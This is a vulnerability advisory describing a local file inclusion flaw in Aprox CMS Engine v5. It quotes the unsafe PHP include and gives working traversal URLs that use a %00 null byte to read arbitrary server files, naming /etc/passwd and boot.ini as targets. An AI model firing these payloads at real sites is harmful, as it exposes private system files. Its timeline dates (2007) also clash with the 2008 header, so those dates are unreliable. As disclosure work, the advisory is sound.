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01010111 01001001 01010010 01000101 01000100  01010011 ->
01000101 01000011 01010101 01010010 01001001  01010100 ->
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ADVISORY: APROX CMS ENGINE V5(.1.0.4) LOCAL FILE INCLUSION (LFI)
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|| 0x00: ABOUT ME
|| 0x01: DATELINE
|| 0x02: INFORMATION
|| 0x03: EXPLOITATION
|| 0x04: RISK LEVEL

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Author: SkyOut
Date: June 2008
Website: http://wired-security.net/

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2007-06-21: Bug found
2007-06-21: Advisory released

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The Aprox CMS Engine in version 5 (tested in 1.0.4) is vulnerable to an attack
in the way of a Local File Inclusion (LFI).

The exploitation has been tested on a local webserver, using Apache HTTPD 2.2.8
+ MySQL 5.0.51a (XAMPP for Windows) on Windows Vista Premium.
-> http://www.apachefriends.org/en/xampp-windows.html

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Let's look at the index.php files source code:

--- SNIP ---
if (!isset($_GET["id"]))
{
if ((isset($_GET["page"])) && ($_GET["page"] != "")){
if (file_exists("./engine/inc/".$_GET["page"].".inc")){
--- SNIP ---

As you can see the script checks for the parameter "id" to be set. Interesting enough,
but later we won't care for this anymore... What is interesting then is line 3: The
script makes sure "page" parameter has been set and is unequal NULL. Then the script
checks if the files does exist, using the extension *.inc!

Now the interesting thing comes in:

--- SNIP ---
include("./engine/inc/".$_GET["page"].".inc");
--- SNIP ---

WHUPS! Here the script simply includes the file, that is given through the paramter "page"
via GET without any further security checks.

Now we can set the "page" parameter to whatever we want :)

Let's try (I did with the file "C:\xampp\xampp-changes.txt" because I don't have a "boot.ini",
you remember? -> Vista!):

=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt

We get the following error: "Fehler - Datei nicht gefunden!", which means in english:
"Error - File not found!". No wonder, because we build up the following:

=> include("./engine/inc/../../../../../../../xampp/xampp-changes.txt.inc");

And this file really does not exist! So lets cut it off with some simple trick you should know
from other exploits (if you ever read some!): %00!

+-------------------------------------------------------------------------------+
|===============================================================================| 
|=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt%00 <=|
|===============================================================================|
|                                                                               |
|And now we get the output of "C:\xampp\xampp-changes.txt":                     |
|                                                                               |
|--- OUTPUT ---                                                                 |
|14. Feb 2008 XAMPP 1.6.6a - Upgrade to MySQL 5.0.51a - PHP 4.4.8 (Release) ... |
|--- OUTPUT ---                                                                 |
|                                                                               |
|Now it depends on the system, what you can include:                            |
|                                                                               |
|../etc/passwd%00                                                               |
|../boot.ini%00                                                                 |
|or others...                                                                   |
+-------------------------------------------------------------------------------+

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- MEDIUM - (2/3) -

<!> Happy Hacking <!>

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